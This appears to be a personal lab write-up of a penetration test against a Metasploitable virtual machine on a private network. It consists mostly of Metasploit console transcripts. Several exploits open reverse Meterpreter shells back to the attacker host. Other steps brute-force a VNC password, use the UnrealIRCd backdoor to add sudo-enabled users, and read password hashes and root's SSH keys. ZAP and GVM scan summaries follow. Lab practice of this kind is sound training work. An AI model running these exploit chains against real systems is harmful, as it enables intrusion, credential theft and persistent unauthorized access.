msf6 exploit(linux/postgres/postgres_payload) >
```

```
  Disclosed: 2007-06-05

Provided by:
  midnitesnake
  egypt <egypt@metasploit.com>
  todb <todb@metasploit.com>
  lucipher

Available targets:
      Id  Name
      --  ----
  ⇒   0   Linux x86
      1   Linux x86_64

Check supported:
  Yes

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  DATABASE  template1        yes       The database to authenticate against
  PASSWORD  postgres         no        The password for the specified username. Leave blank for a random password.
  RHOSTS                     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     5432             yes       The target port
  USERNAME  postgres         yes       The username to authenticate as
  VERBOSE   false            no        Enable verbose output

Payload information:
  Space: 65535

Description:
  On some default Linux installations of PostgreSQL, the
  postgres service account may write to the /tmp directory, and
  may source UDF Shared Libraries from there as well, allowing
  execution of arbitrary code.

  This module compiles a Linux shared object file, uploads it to
  the target host via the UPDATE pg_largeobject method of binary
  injection, and creates a UDF (user defined function) from that
  shared object. Because the payload is run as the shared object's
  constructor, it does not need to conform to specific Postgres
  API versions.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2007-3280
  http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt
```

set RHOSTS 192.168.254.186

```
View the full module info with the info -d command.

msf6 exploit(linux/postgres/postgres_payload) > set RHOST 192.168.254.186
RHOST => 192.168.254.186
msf6 exploit(linux/postgres/postgres_payload) >
```

When I loaded postgres_payload it defaultedset to using :

[*] Using configured payload linux/x86/meterpreter/reverse_tcp

I need to set the local host

set LHOST 192.168.254.182

run

```
msf6 exploit(linux/postgres/postgres_payload) > set RHOST 192.168.254.186
RHOST => 192.168.254.186
msf6 exploit(linux/postgres/postgres_payload) > set LHOST 192.168.254.182
LHOST => 192.168.254.182
msf6 exploit(linux/postgres/postgres_payload) > run

[*] Started reverse TCP handler on 192.168.254.182:4444
[*] 192.168.254.186:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/mPIyEOsY.so, should be cleaned up automatically
[*] Sending stage (1017704 bytes) to 192.168.254.186
[*] Meterpreter session 1 opened (192.168.254.182:4444 → 192.168.254.186:47430) at 2023-12-30 16:48:00 +0000

meterpreter >
```

To switch from meterpreter > command prompt type: shell

```
[*] Started reverse TCP handler on 192.168.254.182:4444
[*] 192.168.254.186:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/ZKbthDOw.so, should be cleaned up automatically
[*] Sending stage (1017704 bytes) to 192.168.254.186
[*] Meterpreter session 1 opened (192.168.254.182:4444 → 192.168.254.186:43115) at 2023-12-30 19:17:08 +0000

meterpreter > Interrupt: use the 'exit' command to quit
meterpreter > shell
Process 8222 created.
Channel 1 created.
whoami
postgres
```

Able to start to execute commands

connected as postgres

Port 23

use auxiliary/scanner/telnet/telnet_version

set RHOST 192.168.254.186

port 1099

use exploit/multi/misc/java_rmi_server

```
Available targets:
      Id  Name
      --  ----
  ⇒   0   Generic (Java Payload)
      1   Windows x86 (Native Payload)
      2   Linux x86 (Native Payload)
      3   Mac OS X PPC (Native Payload)
      4   Mac OS X x86 (Native Payload)

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
  RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-me
                                        tasploit.html
  RPORT      1099             yes       The target port (TCP)
  SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local ma
                                        chine or 0.0.0.0 to listen on all addresses.
  SRVPORT    8080             yes       The local port to listen on.
  SSL        false            no        Negotiate SSL for incoming connections
  SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                     no        The URI to use for this exploit (default is random)

Payload information:
  Avoid: 0 characters

Description:
  This module takes advantage of the default configuration of the RMI Registry and
  RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it
  invokes a method in the RMI Distributed Garbage Collector which is available via every
  RMI endpoint, it can be used against both rmiregistry and rmid,  and against most other
  (custom) RMI endpoints as well.

    Note that it does not work against Java Management Extension (JMX) ports since those do
  not support remote class loading, unless another RMI endpoint is active in the same
  Java process.

    RMI method calls do not support or require any sort of authentication.

References:
  http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html
  http://www.securitytracker.com/id?1026215
  https://nvd.nist.gov/vuln/detail/CVE-2011-3556


View the full module info with the info -d command.

msf6 exploit(multi/misc/java_rmi_server) >
```

Set RHOST 192.168.254.186

run

```
[*] Started reverse TCP handler on 192.168.254.182:4444
[*] 192.168.254.186:1099 - Using URL: http://192.168.254.182:8080/CVsOzUYf
[*] 192.168.254.186:1099 - Server started.
[*] 192.168.254.186:1099 - Sending RMI Header ...
[*] 192.168.254.186:1099 - Sending RMI Call ...
[*] 192.168.254.186:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.254.186
[*] Sending stage (57971 bytes) to 192.168.254.186
[*] Sending stage (57971 bytes) to 192.168.254.186
[*] Meterpreter session 1 opened (192.168.254.182:4444 → 192.168.254.186:57004) at 2023-12-30 22:41:38 +0000
[*] Meterpreter session 3 opened (192.168.254.182:4444 → 192.168.254.186:57724) at 2023-12-30 22:41:39 +0000
[*] Meterpreter session 2 opened (192.168.254.182:4444 → 192.168.254.186:54567) at 2023-12-30 22:41:40 +0000
[-] 192.168.254.186:1099 - Exploit failed: RuntimeError Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request
[*] Exploit completed, but no session was created.
msf6 exploit(multi/misc/java_rmi_server) >
```

Error with HTTPDELAY timeout so I set to be longer than the default 10

set HTTPDELAY 100

Executed again.

```
[*] Meterpreter session 1 opened (192.168.254.182:4444 → 192.168.254.186:57004) at 2023-12-30 22:41:38 +0000
[*] Meterpreter session 3 opened (192.168.254.182:4444 → 192.168.254.186:57724) at 2023-12-30 22:41:39 +0000
[*] Meterpreter session 2 opened (192.168.254.182:4444 → 192.168.254.186:54567) at 2023-12-30 22:41:40 +0000
[-] 192.168.254.186:1099 - Exploit failed: RuntimeError Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request
[*] Exploit completed, but no session was created.
msf6 exploit(multi/misc/java_rmi_server) > set HTTPDELAY 100
HTTPDELAY => 100
msf6 exploit(multi/misc/java_rmi_server) > run

[*] Started reverse TCP handler on 192.168.254.182:4444
[*] 192.168.254.186:1099 - Using URL: http://192.168.254.182:8080/VFAxBSA8lAlf
[*] 192.168.254.186:1099 - Server started.
[*] 192.168.254.186:1099 - Sending RMI Header ...
[*] 192.168.254.186:1099 - Sending RMI Call ...
[*] 192.168.254.186:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.254.186
[*] Meterpreter session 4 opened (192.168.254.182:4444 → 192.168.254.186:36115) at 2023-12-30 22:43:14 +0000

meterpreter > shell
#Process 1 created.
Channel 1 created.
whoami
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
date
Sat Dec 30 17:38:08 EST 2023
whoami
root
```

This time connected as root

port 5900

vncviewer 192.168.254.186

password = password

Password obtained through brute force attack.

use auxiliary(scanner/vnc/vnc_login)

```
File  Actions  Edit  View  Help
       Module: auxiliary/scanner/vnc/vnc_login
      License: Metasploit Framework License (BSD)
         Rank: Normal

Provided by:
  carstein <carstein.sec@gmail.com>
  jduck <jduck@metasploit.com>

Check supported:
  No

Basic options:
  Name             Current Setting                    Required  Description
  ----             ---------------                    --------  -----------
  ANONYMOUS_LOGIN  false                              yes       Attempt to login with a blank username and password
  BLANK_PASSWORDS  false                              no        Try blank passwords for all users
  BRUTEFORCE_SPEED 5                                  yes       How fast to bruteforce, from 0 to 5
  DB_ALL_CREDS     false                              no        Try each user/password couple stored in the current database
  DB_ALL_PASS      false                              no        Add all passwords in the current database to the list
  DB_ALL_USERS     false                              no        Add all users in the current database to the list
  DB_SKIP_EXISTING none                               no        Skip existing credentials stored in the current database (Acce
                                                                pted: none, user, user&realm)
  PASSWORD                                            no        The password to test
  PASS_FILE        /usr/share/metasploit-framework/dat no       File containing passwords, one per line
                   a/wordlists/vnc_passwords.txt
  Proxies                                             no        A proxy chain of format type:host:port[,type:host:port][ ... ]
  RHOSTS                                              yes       The target host(s), see https://docs.metasploit.com/docs/using
                                                                -metasploit/basics/using-metasploit.html
  RPORT            5900                               yes       The target port (TCP)
  STOP_ON_SUCCESS  false                              yes       Stop guessing when a credential works for a host
  THREADS          1                                  yes       The number of concurrent threads (max one per host)
  USERNAME         <BLANK>                            no        A specific username to authenticate as
  USERPASS_FILE                                       no        File containing users and passwords separated by space, one pa
                                                                ir per line
  USER_AS_PASS     false                              no        Try the username as the password for all users
  USER_FILE                                           no        File containing usernames, one per line
  VERBOSE          true                               yes       Whether to print output for all attempts

Description:
  This module will test a VNC server on a range of machines and
  report successful logins. Currently it supports RFB protocol
  version 3.3, 3.7, 3.8 and 4.001 using the VNC challenge response
  authentication method.

References:
  https://nvd.nist.gov/vuln/detail/CVE-1999-0506


View the full module info with the info -d command.

msf6 auxiliary(scanner/vnc/vnc_login) >
```

set RHOST 192.168.254.186

make sure the report port is set to 5900

set RPORT 5900

set the password file

set pass_file /home/kali/Documents/rockyou.txt

run

```
RHOST => 192.168.254.186
msf6 auxiliary(scanner/vnc/vnc_login) > set pass_file /home/kali/Documents/rockyou.txt
pass_file => /home/kali/Documents/rockyou.txt
msf6 auxiliary(scanner/vnc/vnc_login) > run

[*] 192.168.254.186:5900  - 192.168.254.186:5900 - Starting VNC login sweep
[-] 192.168.254.186:5900  - 192.168.254.186:5900 - LOGIN FAILED: :123456 (Incorrect: Authentication failed)
[-] 192.168.254.186:5900  - 192.168.254.186:5900 - LOGIN FAILED: :12345 (Incorrect: Authentication failed)
[-] 192.168.254.186:5900  - 192.168.254.186:5900 - LOGIN FAILED: :123456789 (Incorrect: Authentication failed)
[+] 192.168.254.186:5900  - 192.168.254.186:5900 - Login Successful: :password
[-] 192.168.254.186:5900  - 192.168.254.186:5900 - LOGIN FAILED: :iloveyou (Incorrect: Authentication failed)
[-] 192.168.254.186:5900  - 192.168.254.186:5900 - LOGIN FAILED: :princess (Incorrect: Authentication failed)
[-] 192.168.254.186:5900  - 192.168.254.186:5900 - LOGIN FAILED: :1234567 (Incorrect: Authentication failed)
[-] 192.168.254.186:5900  - 192.168.254.186:5900 - LOGIN FAILED: :rockyou (Incorrect: Authentication failed)
```

Found almost immediately.

Using the credentials

BackDoor v3.2.8.1

General information

Going to use the backdoor to create two users.

use exploit/unix/irc/unreal_ircd_3281_backdoor

show options

```
msf6 > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][ ... ]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-met
                                       asploit.html
   RPORT    6667             yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) >
```

set CHOST 192.168.254.182

set CPORT 4444

set RHOSTS 192.168.254.186

show options

```
sf6 > use exploit/unix/irc/unreal_ircd_3281_backdoor
sf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set CHOST 192.168.254.182
HOST => 192.168.254.182
sf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set CPORT 4444
PORT => 4444
sf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS 192.168.254.186
HOSTS => 192.168.254.186
sf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options

odule options (exploit/unix/irc/unreal_ircd_3281_backdoor):

  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  CHOST    192.168.254.182  no        The local client address
  CPORT    4444             no        The local client port
  Proxies                   no        A proxy chain of format type:host:port[,type:host:port][ ... ]
  RHOSTS   192.168.254.186  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-met
                                      asploit.html
  RPORT    6667             yes       The target port (TCP)


xploit target:

  Id  Name
  --  ----
  0   Automatic Target



iew the full module info with the info, or info -d command.

sf6 exploit(unix/irc/unreal_ircd_3281_backdoor) >
```

show advanced

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show advanced

Module advanced options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ConnectTimeout          10               yes       Maximum number of seconds to establish a TCP connection
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   SSL                     false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                                no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLServerNameIndication                  no        SSL/TLS Server Name Indication (SNI)
   SSLVerifyMode           PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE
                                                      , PEER)
   SSLVersion              Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-ne
                                                      gotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session


View the full module info with the info, or info -d command.

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) >
```

set ConnectTimeout 100

Lets see what payloads we can use?

show payloads

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/cmd/unix/adduser                                     normal  No     Add user with useradd
   1   payload/cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   2   payload/cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   3   payload/cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   4   payload/cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   5   payload/cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   6   payload/cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   7   payload/cmd/unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   8   payload/cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   9   payload/cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   10  payload/cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   11  payload/cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   12  payload/cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (teln
```

Let’s look at the top one

set PAYLOAD 0

show options Just to make sure its set

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set PAYLOAD 0
PAYLOAD => cmd/unix/adduser
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST    192.168.254.182  no        The local client address
   CPORT    4444             no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][ ... ]
   RHOSTS   192.168.254.186  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-met
                                       asploit.html
   RPORT    6667             yes       The target port (TCP)


Payload options (cmd/unix/adduser):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
   PASS  Metasploit$1     yes       The password for this user
   USER  metasploit       yes       The username to create


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target


View the full module info with the info, or info -d command.

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) >
```

It will attempt to create a user metasplott and its password

show advanced

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show advanced
Module advanced options (exploit/unix/irc/unreal_ircd_3281_backdoor):
   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ConnectTimeout          100              yes       Maximum number of seconds to est
   ContextInformationFile                   no        The information file that contai
   DisablePayloadHandler   false            no        Disable the handler code for the
   EnableContextEncoding   false            no        Use transient context when encod
   SSL                     false            no        Negotiate SSL/TLS for outgoing c
   SSLCipher                                no        String for SSL cipher - "DHE-RSA
   SSLServerNameIndication                  no        SSL/TLS Server Name Indication (
   SSLVerifyMode           PEER             no        SSL verification method (Accepte
                                                      , PEER)
   SSLVersion              Auto             yes       Specify the version of SSL/TLS t
                                                      gotiate) (Accepted: Auto, TLS, S
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this m
   WfsDelay                2                no        Additional delay in seconds to w


Payload advanced options (cmd/unix/adduser):

   Name                       Current Setting  Required  Description
   ----                       ---------------  --------  -----------
   AutoRunScript                               no        A script to run automatically
   AutoVerifySession          true             yes       Automatically verify and drop
   CommandShellCleanupCommand                  no        A command to run before the s
   CreateSession              true             no        Create a new session for ever
   InitialAutoRunScript                        no        An initial script to run on s
   RootMethod                 SUDO             no        The method to obtain root wit
                                                        )
   VERBOSE                    false            no        Enable detailed status messag
   WORKSPACE                                   no        Specify the workspace for thi


   Active when RootMethod is SUDO:

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   CheckSudoers  true             no        Check if the sudoers file exists before mod


View the full module info with the info, or info -d command.

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) >
```

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > run

[*] 192.168.254.186:6667 - Connected to 192.168.254.186:6667 ...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname ...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using you
[*] 192.168.254.186:6667 - Sending backdoor command ...
[*] Exploit completed, but no session was created.
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) >
```

Lest check the target for the user

```
statd:x:114:65534::/var/lib/nfs:/bin/false
metasploit:$1$Az$kf0BaRSqaSF9ewhqk5sMa.:1172:1172::/:/bin/sh
```

Let's do that again and this time create a second user "harrybrown"

set USER harrybrown

```
Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   CHOST   192.168.254.182  no        The local client address
   CPORT   4444             no        The local client port
   Proxies                  no        A proxy chain of format type:host:port[,type:host:port][ ... ]
   RHOSTS  192.168.254.186  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basic
                                      asploit.html
   RPORT   6667             yes       The target port (TCP)


Payload options (cmd/unix/adduser):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
   PASS  Metasploit$1     yes       The password for this user
   USER  harrybrown       yes       The username to create


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > run

[*] 192.168.254.186:6667 - Connected to 192.168.254.186:6667 ...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname ...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
[*] 192.168.254.186:6667 - Sending backdoor command ...
[*] Exploit completed, but no session was created.
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) >
```

Let's check the target

```
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
metasploit:$1$Az$kf0BaRSqaSF9ewhqk5sMa.:1172:1172::/:/bin/sh
harrybrown:$1$Az$kf0BaRSqaSF9ewhqk5sMa.:1692:1692::/:/bin/sh
```

And there it is (last one)

Let's see if the users were given any permissions.

```
cat sudoers
# /etc/sudoers
#
# This file MUST be edited with the 'visudo' command as root.
#
# See the man page for details on how to write a sudoers file.
#
Defaults    env_reset

# Uncomment to allow members of group sudo to not need a password
# %sudo ALL=NOPASSWD: ALL

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root    ALL=(ALL) ALL

# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL
metasploit ALL=(ALL:ALL) ALL
harrybrown ALL=(ALL:ALL) ALL
```

ZAP report findings.

Summary report

Generated on Sun, 31 Dec 2023 09:06:19

ZAP Version: 2.14.0

Summary of Alerts

Risk Level	Number of Alerts
High	1
Medium	7
Low	8
Informational	7

Alerts

Name	Risk Level	Number of Instances
Remote Code Execution - CVE-2012-1823	High	1
Absence of Anti-CSRF Tokens	Medium	2576
Application Error Disclosure	Medium	90
Content Security Policy (CSP) Header Not Set	Medium	2304
Directory Browsing	Medium	9
Hidden File Found	Medium	1
Missing Anti-clickjacking Header	Medium	2201
Vulnerable JS Library	Medium	1
Cookie No HttpOnly Flag	Low	41
Cookie without SameSite Attribute	Low	82
Information Disclosure - Debug Error Messages	Low	132
Private IP Disclosure	Low	15
Server Leaks Information via "X-Powered-By" HTTP Response Header Field(s)	Low	193
Server Leaks Version Information via "Server" HTTP Response Header Field	Low	2501
Timestamp Disclosure - Unix	Low	3379
X-Content-Type-Options Header Missing	Low	2291
Authentication Request Identified	Informational	26
Information Disclosure - Sensitive Information in URL	Informational	39
Information Disclosure - Suspicious Comments	Informational	72
Modern Web Application	Informational	2173
Session Management Response Identified	Informational	81
User Controllable Charset	Informational	2
User Controllable HTML Element Attribute (Potential XSS)	Informational	699

From the ZAP report

Remote Code Execution - CVE-2012-1823

Description

Some PHP versions, when configured to run using CGI, do not correctly handle query strings that lack an unescaped "=" character, enabling arbitrary code execution. In this case, an operating system command was caused to be executed on the web server, and the results were returned to the web browser.

Let's use metasploite to see if zap was correct.

use exploit/multi/http/php_cgi_arg_injection

```
msf6 >  use exploit/multi/http/php_cgi_arg_injection
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/php_cgi_arg_injection) > show targets

Exploit targets:
=================

    Id  Name
    --  ----
=>  0   Automatic


msf6 exploit(multi/http/php_cgi_arg_injection) > show options

Module options (exploit/multi/http/php_cgi_arg_injection):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   PLESK         false            yes       Exploit Plesk
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][ ... ]
   RHOSTS                         yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using
                                            -metasploit.html
   RPORT         80               yes       The target port (TCP)
   SSL           false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI                      no        The URI to request (must be a CGI-handled PHP script)
   URIENCODING   0                yes       Level of URI URIENCODING and padding (0 for minimum)
   VHOST                          no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.254.182  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


View the full module info with the info, or info -d command.

msf6 exploit(multi/http/php_cgi_arg_injection) >
```

set RHOSTS 192.168.254.186

payload options (php/meterpreter/reverse_tcp) where already set from another test

if not

set LPORT 4444

set LHOST 192.168.254.186

```
msf6 exploit(multi/http/php_cgi_arg_injection) > show options

Module options (exploit/multi/http/php_cgi_arg_injection):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   PLESK       false            yes       Exploit Plesk
   Proxies                      no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                       yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using
                                          -metasploit.html
   RPORT       80               yes       The target port (TCP)
   SSL         false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI                    no        The URI to request (must be a CGI-handled PHP script)
   URIENCODING 0                yes       Level of URI URIENCODING and padding (0 for minimum)
   VHOST                        no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.254.182  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


View the full module info with the info, or info -d command.

msf6 exploit(multi/http/php_cgi_arg_injection) > set RHOSTS 192.168.254.186
RHOSTS => 192.168.254.186
msf6 exploit(multi/http/php_cgi_arg_injection) > run

[*] Started reverse TCP handler on 192.168.254.182:4444
[*] Sending stage (39927 bytes) to 192.168.254.186
[*] Meterpreter session 1 opened (192.168.254.182:4444 -> 192.168.254.186:33874) at 2023-12-31 15:07:09 +0000

meterpreter >
```

Enter shell

With root being the owner, a compromised web server would have access to your entire system. By specifying a specific ID a compromised web server would only have full access to its files and not the entire server.

I was able to eun system commands

```
[*] Started reverse TCP handler on 192.168.254.182:4444
[*] Sending stage (39927 bytes) to 192.168.254.186
[*] Meterpreter session 1 opened (192.168.254.182:4444 -> 192.168.254.186:33874) at 2023-12-31 15:07:09 +0000

meterpreter > shell
Process 5489 created.
Channel 0 created.
whoami
www-data
ls
dav
dvwa
index.php
mutillidae
phpMyAdmin
phpinfo.php
test
tikiwiki
tikiwiki-old
twiki
cat /root/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0×1c6iPL/0zUYFHyFKAz
le6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu
```

Was able to move around the Filing system butr as you see I could get to the authorized_keys file for root.

```
[*] Started reverse TCP handler on 192.168.254.182:4444
[*] Sending stage (39927 bytes) to 192.168.254.186
[*] Meterpreter session 1 opened (192.168.254.182:4444 → 192.168.254.186:33874) at 2023-12-31 15:07:09 +0000

meterpreter > shell
Process 5489 created.
Channel 0 created.
whoami
www-data
ls
dav
dvwa
index.php
mutillidae
phpMyAdmin
phpinfo.php
test
tikiwiki
tikiwiki-old
twiki
cat /root/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0×1c6iPL/0zUYFHyFKAz
le6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu
```

GVM report

GVM recorked 36 possible CVE issues to investigate.

CVE	NVT	Hosts	Occurrences	Severity ▼
CVE-1999-0618	The rexec service is running	1	1	10.0 (High)
CVE-2008-5304 CVE-2008-5305	TWiki XSS and Command Execution Vulnerabilities	1	1	10.0 (High)
CVE-2011-2523	vsftpd Compromised Source Packages Backdoor Vulnerability	1	2	9.8 (High)
CVE-2001-0645 CVE-2004-2357 CVE-2006-1451 CVE-2007-2554 CVE-2007-6081 CVE-2009-0919 CVE-2014-3419 CVE-2015-4669 CVE-2016-6531 CVE-2018-15719	MySQL / MariaDB Default Credentials (MySQL Protocol)	1	1	9.8 (High)
CVE-2020-1938	Apache Tomcat AJP RCE Vulnerability (Ghostcat)	1	1	9.8 (High)
CVE-2004-2687	DistCC RCE Vulnerability (CVE-2004-2687)	1	1	9.3 (High)
CVE-2016-7144	UnrealIRCd Authentication Spoofing Vulnerability	1	1	8.1 (High)
CVE-2010-2075	UnrealIRCd Backdoor	1	1	7.5 (High)
